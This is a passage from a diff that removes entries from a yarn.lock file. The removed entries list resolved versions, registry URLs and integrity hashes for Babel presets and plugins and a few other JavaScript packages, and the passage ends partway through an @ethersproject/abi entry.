-
-"@babel/plugin-transform-react-display-name@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.8.3.tgz#70ded987c91609f78353dd76d2fb2a0bb991e8e5"
-  integrity sha512-3Jy/PCw8Fe6uBKtEgz3M82ljt+lTg+xJaM4og+eyu83qLT87ZUSckn0wy7r31jflURWLO83TW6Ylf7lyXj3m5A==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-transform-react-display-name@^7.14.5", "@babel/plugin-transform-react-display-name@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.14.5.tgz#baa92d15c4570411301a85a74c13534873885b65"
-  integrity sha512-07aqY1ChoPgIxsuDviptRpVkWCSbXWmzQqcgy65C6YSFOfPFvb/DX3bBRHh7pCd/PMEEYHYWUTSVkCbkVainYQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-react-jsx-development@^7.14.5", "@babel/plugin-transform-react-jsx-development@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.14.5.tgz#1a6c73e2f7ed2c42eebc3d2ad60b0c7494fcb9af"
-  integrity sha512-rdwG/9jC6QybWxVe2UVOa7q6cnTpw8JRRHOxntG/h6g/guAOe6AhtQHJuJh5FwmnXIT1bdm5vC2/5huV8ZOorQ==
-  dependencies:
-    "@babel/plugin-transform-react-jsx" "^7.14.5"
-
-"@babel/plugin-transform-react-jsx-self@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.14.5.tgz#703b5d1edccd342179c2a99ee8c7065c2b4403cc"
-  integrity sha512-M/fmDX6n0cfHK/NLTcPmrfVAORKDhK8tyjDhyxlUjYyPYYO8FRWwuxBA3WBx8kWN/uBUuwGa3s/0+hQ9JIN3Tg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-react-jsx-source@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.14.5.tgz#79f728e60e6dbd31a2b860b0bf6c9765918acf1d"
-  integrity sha512-1TpSDnD9XR/rQ2tzunBVPThF5poaYT9GqP+of8fAtguYuI/dm2RkrMBDemsxtY0XBzvW7nXjYM0hRyKX9QYj7Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-react-jsx@^7.14.5", "@babel/plugin-transform-react-jsx@^7.9.1":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.14.5.tgz#39749f0ee1efd8a1bd729152cf5f78f1d247a44a"
-  integrity sha512-7RylxNeDnxc1OleDm0F5Q/BSL+whYRbOAR+bwgCxIr0L32v7UFh/pz1DLMZideAUxKT6eMoS2zQH6fyODLEi8Q==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-module-imports" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-jsx" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/plugin-transform-react-pure-annotations@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.14.5.tgz#18de612b84021e3a9802cbc212c9d9f46d0d11fc"
-  integrity sha512-3X4HpBJimNxW4rhUy/SONPyNQHp5YRr0HhJdT2OH1BRp0of7u3Dkirc7x9FRJMKMqTBI079VZ1hzv7Ouuz///g==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-regenerator@^7.14.5", "@babel/plugin-transform-regenerator@^7.8.7":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.14.5.tgz#9676fd5707ed28f522727c5b3c0aa8544440b04f"
-  integrity sha512-NVIY1W3ITDP5xQl50NgTKlZ0GrotKtLna08/uGY6ErQt6VEQZXla86x/CTddm5gZdcr+5GSsvMeTmWA5Ii6pkg==
-  dependencies:
-    regenerator-transform "^0.14.2"
-
-"@babel/plugin-transform-reserved-words@^7.14.5", "@babel/plugin-transform-reserved-words@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.14.5.tgz#c44589b661cfdbef8d4300dcc7469dffa92f8304"
-  integrity sha512-cv4F2rv1nD4qdexOGsRQXJrOcyb5CrgjUH9PKrrtyhSDBNWGxd0UIitjyJiWagS+EbUGjG++22mGH1Pub8D6Vg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-runtime@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.9.0.tgz#45468c0ae74cc13204e1d3b1f4ce6ee83258af0b"
-  integrity sha512-pUu9VSf3kI1OqbWINQ7MaugnitRss1z533436waNXp+0N3ur3zfut37sXiQMxkuCF4VUjwZucen/quskCh7NHw==
-  dependencies:
-    "@babel/helper-module-imports" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    resolve "^1.8.1"
-    semver "^5.5.1"
-
-"@babel/plugin-transform-runtime@^7.5.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.14.5.tgz#30491dad49c6059f8f8fa5ee8896a0089e987523"
-  integrity sha512-fPMBhh1AV8ZyneiCIA+wYYUH1arzlXR1UMcApjvchDhfKxhy2r2lReJv8uHEyihi4IFIGlr1Pdx7S5fkESDQsg==
-  dependencies:
-    "@babel/helper-module-imports" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    babel-plugin-polyfill-corejs2 "^0.2.2"
-    babel-plugin-polyfill-corejs3 "^0.2.2"
-    babel-plugin-polyfill-regenerator "^0.2.2"
-    semver "^6.3.0"
-
-"@babel/plugin-transform-shorthand-properties@^7.14.5", "@babel/plugin-transform-shorthand-properties@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.14.5.tgz#97f13855f1409338d8cadcbaca670ad79e091a58"
-  integrity sha512-xLucks6T1VmGsTB+GWK5Pl9Jl5+nRXD1uoFdA5TSO6xtiNjtXTjKkmPdFXVLGlK5A2/or/wQMKfmQ2Y0XJfn5g==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-spread@^7.14.5", "@babel/plugin-transform-spread@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.14.5.tgz#bd269fb4119754d2ce7f4cc39a96b4f71baae356"
-  integrity sha512-/3iqoQdiWergnShZYl0xACb4ADeYCJ7X/RgmwtXshn6cIvautRPAFzhd58frQlokLO6Jb4/3JXvmm6WNTPtiTw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.14.5"
-
-"@babel/plugin-transform-sticky-regex@^7.14.5", "@babel/plugin-transform-sticky-regex@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.14.5.tgz#5b617542675e8b7761294381f3c28c633f40aeb9"
-  integrity sha512-Z7F7GyvEMzIIbwnziAZmnSNpdijdr4dWt+FJNBnBLz5mwDFkqIXU9wmBcWWad3QeJF5hMTkRe4dAq2sUZiG+8A==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-template-literals@^7.14.5", "@babel/plugin-transform-template-literals@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.14.5.tgz#a5f2bc233937d8453885dc736bdd8d9ffabf3d93"
-  integrity sha512-22btZeURqiepOfuy/VkFr+zStqlujWaarpMErvay7goJS6BWwdd6BY9zQyDLDa4x2S3VugxFb162IZ4m/S/+Gg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-typeof-symbol@^7.14.5", "@babel/plugin-transform-typeof-symbol@^7.8.4":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.14.5.tgz#39af2739e989a2bd291bf6b53f16981423d457d4"
-  integrity sha512-lXzLD30ffCWseTbMQzrvDWqljvZlHkXU+CnseMhkMNqU1sASnCsz3tSzAaH3vCUXb9PHeUb90ZT1BdFTm1xxJw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-typescript@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.14.5.tgz#5b41b59072f765bd1ec1d0b694e08c7df0f6f8a0"
-  integrity sha512-cFD5PKp4b8/KkwQ7h71FdPXFvz1RgwTFF9akRZwFldb9G0AHf7CgoPx96c4Q/ZVjh6V81tqQwW5YiHws16OzPg==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-typescript" "^7.14.5"
-
-"@babel/plugin-transform-unicode-escapes@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.14.5.tgz#9d4bd2a681e3c5d7acf4f57fa9e51175d91d0c6b"
-  integrity sha512-crTo4jATEOjxj7bt9lbYXcBAM3LZaUrbP2uUdxb6WIorLmjNKSpHfIybgY4B8SRpbf8tEVIWH3Vtm7ayCrKocA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-transform-unicode-regex@^7.14.5", "@babel/plugin-transform-unicode-regex@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.14.5.tgz#4cd09b6c8425dd81255c7ceb3fb1836e7414382e"
-  integrity sha512-UygduJpC5kHeCiRw/xDVzC+wj8VaYSoKl5JNVmbP7MadpNinAm3SvZCxZ42H37KZBKztz46YC73i9yV34d0Tzw==
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/preset-env@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.9.0.tgz#a5fc42480e950ae8f5d9f8f2bbc03f52722df3a8"
-  integrity sha512-712DeRXT6dyKAM/FMbQTV/FvRCms2hPCx+3weRjZ8iQVQWZejWWk1wwG6ViWMyqb/ouBbGOl5b6aCk0+j1NmsQ==
-  dependencies:
-    "@babel/compat-data" "^7.9.0"
-    "@babel/helper-compilation-targets" "^7.8.7"
-    "@babel/helper-module-imports" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-proposal-async-generator-functions" "^7.8.3"
-    "@babel/plugin-proposal-dynamic-import" "^7.8.3"
-    "@babel/plugin-proposal-json-strings" "^7.8.3"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-proposal-numeric-separator" "^7.8.3"
-    "@babel/plugin-proposal-object-rest-spread" "^7.9.0"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-proposal-optional-chaining" "^7.9.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.8.3"
-    "@babel/plugin-syntax-async-generators" "^7.8.0"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.0"
-    "@babel/plugin-syntax-json-strings" "^7.8.0"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-    "@babel/plugin-syntax-numeric-separator" "^7.8.0"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.0"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.0"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-    "@babel/plugin-syntax-top-level-await" "^7.8.3"
-    "@babel/plugin-transform-arrow-functions" "^7.8.3"
-    "@babel/plugin-transform-async-to-generator" "^7.8.3"
-    "@babel/plugin-transform-block-scoped-functions" "^7.8.3"
-    "@babel/plugin-transform-block-scoping" "^7.8.3"
-    "@babel/plugin-transform-classes" "^7.9.0"
-    "@babel/plugin-transform-computed-properties" "^7.8.3"
-    "@babel/plugin-transform-destructuring" "^7.8.3"
-    "@babel/plugin-transform-dotall-regex" "^7.8.3"
-    "@babel/plugin-transform-duplicate-keys" "^7.8.3"
-    "@babel/plugin-transform-exponentiation-operator" "^7.8.3"
-    "@babel/plugin-transform-for-of" "^7.9.0"
-    "@babel/plugin-transform-function-name" "^7.8.3"
-    "@babel/plugin-transform-literals" "^7.8.3"
-    "@babel/plugin-transform-member-expression-literals" "^7.8.3"
-    "@babel/plugin-transform-modules-amd" "^7.9.0"
-    "@babel/plugin-transform-modules-commonjs" "^7.9.0"
-    "@babel/plugin-transform-modules-systemjs" "^7.9.0"
-    "@babel/plugin-transform-modules-umd" "^7.9.0"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.8.3"
-    "@babel/plugin-transform-new-target" "^7.8.3"
-    "@babel/plugin-transform-object-super" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.8.7"
-    "@babel/plugin-transform-property-literals" "^7.8.3"
-    "@babel/plugin-transform-regenerator" "^7.8.7"
-    "@babel/plugin-transform-reserved-words" "^7.8.3"
-    "@babel/plugin-transform-shorthand-properties" "^7.8.3"
-    "@babel/plugin-transform-spread" "^7.8.3"
-    "@babel/plugin-transform-sticky-regex" "^7.8.3"
-    "@babel/plugin-transform-template-literals" "^7.8.3"
-    "@babel/plugin-transform-typeof-symbol" "^7.8.4"
-    "@babel/plugin-transform-unicode-regex" "^7.8.3"
-    "@babel/preset-modules" "^0.1.3"
-    "@babel/types" "^7.9.0"
-    browserslist "^4.9.1"
-    core-js-compat "^3.6.2"
-    invariant "^2.2.2"
-    levenary "^1.1.1"
-    semver "^5.5.0"
-
-"@babel/preset-env@^7.4.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/preset-env/-/preset-env-7.14.5.tgz#c0c84e763661fd0e74292c3d511cb33b0c668997"
-  integrity sha512-ci6TsS0bjrdPpWGnQ+m4f+JSSzDKlckqKIJJt9UZ/+g7Zz9k0N8lYU8IeLg/01o2h8LyNZDMLGgRLDTxpudLsA==
-  dependencies:
-    "@babel/compat-data" "^7.14.5"
-    "@babel/helper-compilation-targets" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-validator-option" "^7.14.5"
-    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining" "^7.14.5"
-    "@babel/plugin-proposal-async-generator-functions" "^7.14.5"
-    "@babel/plugin-proposal-class-properties" "^7.14.5"
-    "@babel/plugin-proposal-class-static-block" "^7.14.5"
-    "@babel/plugin-proposal-dynamic-import" "^7.14.5"
-    "@babel/plugin-proposal-export-namespace-from" "^7.14.5"
-    "@babel/plugin-proposal-json-strings" "^7.14.5"
-    "@babel/plugin-proposal-logical-assignment-operators" "^7.14.5"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.14.5"
-    "@babel/plugin-proposal-numeric-separator" "^7.14.5"
-    "@babel/plugin-proposal-object-rest-spread" "^7.14.5"
-    "@babel/plugin-proposal-optional-catch-binding" "^7.14.5"
-    "@babel/plugin-proposal-optional-chaining" "^7.14.5"
-    "@babel/plugin-proposal-private-methods" "^7.14.5"
-    "@babel/plugin-proposal-private-property-in-object" "^7.14.5"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.14.5"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-class-properties" "^7.12.13"
-    "@babel/plugin-syntax-class-static-block" "^7.14.5"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
-    "@babel/plugin-syntax-top-level-await" "^7.14.5"
-    "@babel/plugin-transform-arrow-functions" "^7.14.5"
-    "@babel/plugin-transform-async-to-generator" "^7.14.5"
-    "@babel/plugin-transform-block-scoped-functions" "^7.14.5"
-    "@babel/plugin-transform-block-scoping" "^7.14.5"
-    "@babel/plugin-transform-classes" "^7.14.5"
-    "@babel/plugin-transform-computed-properties" "^7.14.5"
-    "@babel/plugin-transform-destructuring" "^7.14.5"
-    "@babel/plugin-transform-dotall-regex" "^7.14.5"
-    "@babel/plugin-transform-duplicate-keys" "^7.14.5"
-    "@babel/plugin-transform-exponentiation-operator" "^7.14.5"
-    "@babel/plugin-transform-for-of" "^7.14.5"
-    "@babel/plugin-transform-function-name" "^7.14.5"
-    "@babel/plugin-transform-literals" "^7.14.5"
-    "@babel/plugin-transform-member-expression-literals" "^7.14.5"
-    "@babel/plugin-transform-modules-amd" "^7.14.5"
-    "@babel/plugin-transform-modules-commonjs" "^7.14.5"
-    "@babel/plugin-transform-modules-systemjs" "^7.14.5"
-    "@babel/plugin-transform-modules-umd" "^7.14.5"
-    "@babel/plugin-transform-named-capturing-groups-regex" "^7.14.5"
-    "@babel/plugin-transform-new-target" "^7.14.5"
-    "@babel/plugin-transform-object-super" "^7.14.5"
-    "@babel/plugin-transform-parameters" "^7.14.5"
-    "@babel/plugin-transform-property-literals" "^7.14.5"
-    "@babel/plugin-transform-regenerator" "^7.14.5"
-    "@babel/plugin-transform-reserved-words" "^7.14.5"
-    "@babel/plugin-transform-shorthand-properties" "^7.14.5"
-    "@babel/plugin-transform-spread" "^7.14.5"
-    "@babel/plugin-transform-sticky-regex" "^7.14.5"
-    "@babel/plugin-transform-template-literals" "^7.14.5"
-    "@babel/plugin-transform-typeof-symbol" "^7.14.5"
-    "@babel/plugin-transform-unicode-escapes" "^7.14.5"
-    "@babel/plugin-transform-unicode-regex" "^7.14.5"
-    "@babel/preset-modules" "^0.1.4"
-    "@babel/types" "^7.14.5"
-    babel-plugin-polyfill-corejs2 "^0.2.2"
-    babel-plugin-polyfill-corejs3 "^0.2.2"
-    babel-plugin-polyfill-regenerator "^0.2.2"
-    core-js-compat "^3.14.0"
-    semver "^6.3.0"
-
-"@babel/preset-modules@^0.1.3", "@babel/preset-modules@^0.1.4":
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/@babel/preset-modules/-/preset-modules-0.1.4.tgz#362f2b68c662842970fdb5e254ffc8fc1c2e415e"
-  integrity sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.0.0"
-    "@babel/plugin-proposal-unicode-property-regex" "^7.4.4"
-    "@babel/plugin-transform-dotall-regex" "^7.4.4"
-    "@babel/types" "^7.4.4"
-    esutils "^2.0.2"
-
-"@babel/preset-react@7.9.1":
-  version "7.9.1"
-  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.9.1.tgz#b346403c36d58c3bb544148272a0cefd9c28677a"
-  integrity sha512-aJBYF23MPj0RNdp/4bHnAP0NVqqZRr9kl0NAOP4nJCex6OYVio59+dnQzsAWFuogdLyeaKA1hmfUIVZkY5J+TQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-transform-react-display-name" "^7.8.3"
-    "@babel/plugin-transform-react-jsx" "^7.9.1"
-    "@babel/plugin-transform-react-jsx-development" "^7.9.0"
-    "@babel/plugin-transform-react-jsx-self" "^7.9.0"
-    "@babel/plugin-transform-react-jsx-source" "^7.9.0"
-
-"@babel/preset-react@^7.0.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.14.5.tgz#0fbb769513f899c2c56f3a882fa79673c2d4ab3c"
-  integrity sha512-XFxBkjyObLvBaAvkx1Ie95Iaq4S/GUEIrejyrntQ/VCMKUYvKLoyKxOBzJ2kjA3b6rC9/KL6KXfDC2GqvLiNqQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-validator-option" "^7.14.5"
-    "@babel/plugin-transform-react-display-name" "^7.14.5"
-    "@babel/plugin-transform-react-jsx" "^7.14.5"
-    "@babel/plugin-transform-react-jsx-development" "^7.14.5"
-    "@babel/plugin-transform-react-pure-annotations" "^7.14.5"
-
-"@babel/preset-typescript@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.9.0.tgz#87705a72b1f0d59df21c179f7c3d2ef4b16ce192"
-  integrity sha512-S4cueFnGrIbvYJgwsVFKdvOmpiL0XGw9MFW9D0vgRys5g36PBhZRL8NX8Gr2akz8XRtzq6HuDXPD/1nniagNUg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-transform-typescript" "^7.9.0"
-
-"@babel/runtime-corejs3@^7.10.2", "@babel/runtime-corejs3@^7.12.1":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/runtime-corejs3/-/runtime-corejs3-7.14.5.tgz#0d9bf00d59c0b73185c462c323efffd0f4c37283"
-  integrity sha512-cBbwXj3F2xjnQJ0ERaFRLjxhUSBYsQPXJ7CERz/ecx6q6hzQ99eTflAPFC3ks4q/IG4CWupNVdflc4jlFBJVsg==
-  dependencies:
-    core-js-pure "^3.14.0"
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.9.0.tgz#337eda67401f5b066a6f205a3113d4ac18ba495b"
-  integrity sha512-cTIudHnzuWLS56ik4DnRnqqNf8MkdUzV4iFFI1h7Jo9xvrpQROYaAnaSd2mHLQAzzZAPfATynX5ord6YlNYNMA==
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/runtime@^7.0.0", "@babel/runtime@^7.1.2", "@babel/runtime@^7.10.1", "@babel/runtime@^7.10.2", "@babel/runtime@^7.10.4", "@babel/runtime@^7.11.1", "@babel/runtime@^7.11.2", "@babel/runtime@^7.12.1", "@babel/runtime@^7.12.5", "@babel/runtime@^7.3.4", "@babel/runtime@^7.4.5", "@babel/runtime@^7.5.5", "@babel/runtime@^7.7.2", "@babel/runtime@^7.8.4", "@babel/runtime@^7.9.2":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.14.5.tgz#665450911c6031af38f81db530f387ec04cd9a98"
-  integrity sha512-121rumjddw9c3NCQ55KGkyE1h/nzWhU/owjhw0l4mQrkzz4x9SGS1X8gFLraHwX7td3Yo4QTL+qj0NcIzN87BA==
-  dependencies:
-    regenerator-runtime "^0.13.4"
-
-"@babel/template@^7.14.5", "@babel/template@^7.4.0", "@babel/template@^7.8.6":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.14.5.tgz#a9bc9d8b33354ff6e55a9c60d1109200a68974f4"
-  integrity sha512-6Z3Po85sfxRGachLULUhOmvAaOo7xCvqGQtxINai2mEGPFm6pQ4z5QInFnUrRpfoSV60BnjyF5F3c+15fxFV1g==
-  dependencies:
-    "@babel/code-frame" "^7.14.5"
-    "@babel/parser" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/traverse@^7.1.0", "@babel/traverse@^7.13.0", "@babel/traverse@^7.14.5", "@babel/traverse@^7.4.3", "@babel/traverse@^7.4.5", "@babel/traverse@^7.7.0", "@babel/traverse@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.14.5.tgz#c111b0f58afab4fea3d3385a406f692748c59870"
-  integrity sha512-G3BiS15vevepdmFqmUc9X+64y0viZYygubAMO8SvBmKARuF6CPSZtH4Ng9vi/lrWlZFGe3FWdXNy835akH8Glg==
-  dependencies:
-    "@babel/code-frame" "^7.14.5"
-    "@babel/generator" "^7.14.5"
-    "@babel/helper-function-name" "^7.14.5"
-    "@babel/helper-hoist-variables" "^7.14.5"
-    "@babel/helper-split-export-declaration" "^7.14.5"
-    "@babel/parser" "^7.14.5"
-    "@babel/types" "^7.14.5"
-    debug "^4.1.0"
-    globals "^11.1.0"
-
-"@babel/types@^7.0.0", "@babel/types@^7.14.5", "@babel/types@^7.3.0", "@babel/types@^7.4.0", "@babel/types@^7.4.4", "@babel/types@^7.7.0", "@babel/types@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.14.5.tgz#3bb997ba829a2104cedb20689c4a5b8121d383ff"
-  integrity sha512-M/NzBpEL95I5Hh4dwhin5JlE7EzO5PHMAuzjxss3tiOBD46KfQvVedN/3jEPZvdRvtsK2222XfdHogNIttFgcg==
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.5"
-    to-fast-properties "^2.0.0"
-
-"@cnakazawa/watch@^1.0.3":
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/@cnakazawa/watch/-/watch-1.0.4.tgz#f864ae85004d0fcab6f50be9141c4da368d1656a"
-  integrity sha512-v9kIhKwjeZThiWrLmj0y17CWoyddASLj9O2yvbZkbvw/N3rWOYy9zkV66ursAoVr0mV15bL8g0c4QZUE6cdDoQ==
-  dependencies:
-    exec-sh "^0.3.2"
-    minimist "^1.2.0"
-
-"@csstools/convert-colors@^1.4.0":
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/@csstools/convert-colors/-/convert-colors-1.4.0.tgz#ad495dc41b12e75d588c6db8b9834f08fa131eb7"
-  integrity sha512-5a6wqoJV/xEdbRNKVo6I4hO3VjyDq//8q2f9I6PBAvMesJHFauXDorcNCsr9RzvsZnaWi5NYCcfyqP1QeFHFbw==
-
-"@csstools/normalize.css@^10.1.0":
-  version "10.1.0"
-  resolved "https://registry.yarnpkg.com/@csstools/normalize.css/-/normalize.css-10.1.0.tgz#f0950bba18819512d42f7197e56c518aa491cf18"
-  integrity sha512-ij4wRiunFfaJxjB0BdrYHIH8FxBJpOwNPhhAcunlmPdXudL1WQV1qoP9un6JsEBAgQH+7UXyyjh0g7jTxXK6tg==
-
-"@ctrl/tinycolor@^3.4.0":
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/@ctrl/tinycolor/-/tinycolor-3.4.0.tgz#c3c5ae543c897caa9c2a68630bed355be5f9990f"
-  integrity sha512-JZButFdZ1+/xAfpguQHoabIXkcqRRKpMrWKBkpEZZyxfY9C1DpADFB8PEqGSTeFr135SaTRfKqGKx5xSCLI7ZQ==
-
-"@emotion/is-prop-valid@^0.8.8":
-  version "0.8.8"
-  resolved "https://registry.yarnpkg.com/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz#db28b1c4368a259b60a97311d6a952d4fd01ac1a"
-  integrity sha512-u5WtneEAr5IDG2Wv65yhunPSMLIpuKsbuOktRojfrEiEvRyC85LgPMZI63cr7NUqT8ZIGdSVg8ZKGxIug4lXcA==
-  dependencies:
-    "@emotion/memoize" "0.7.4"
-
-"@emotion/memoize@0.7.4":
-  version "0.7.4"
-  resolved "https://registry.yarnpkg.com/@emotion/memoize/-/memoize-0.7.4.tgz#19bf0f5af19149111c40d98bb0cf82119f5d9eeb"
-  integrity sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==
-
-"@emotion/stylis@^0.8.4":
-  version "0.8.5"
-  resolved "https://registry.yarnpkg.com/@emotion/stylis/-/stylis-0.8.5.tgz#deacb389bd6ee77d1e7fcaccce9e16c5c7e78e04"
-  integrity sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==
-
-"@emotion/unitless@^0.7.4":
-  version "0.7.5"
-  resolved "https://registry.yarnpkg.com/@emotion/unitless/-/unitless-0.7.5.tgz#77211291c1900a700b8a78cfafda3160d76949ed"
-  integrity sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==
-
-"@ethersproject/abi@5.3.1", "@ethersproject/abi@^5.3.0":
-  version "5.3.1"
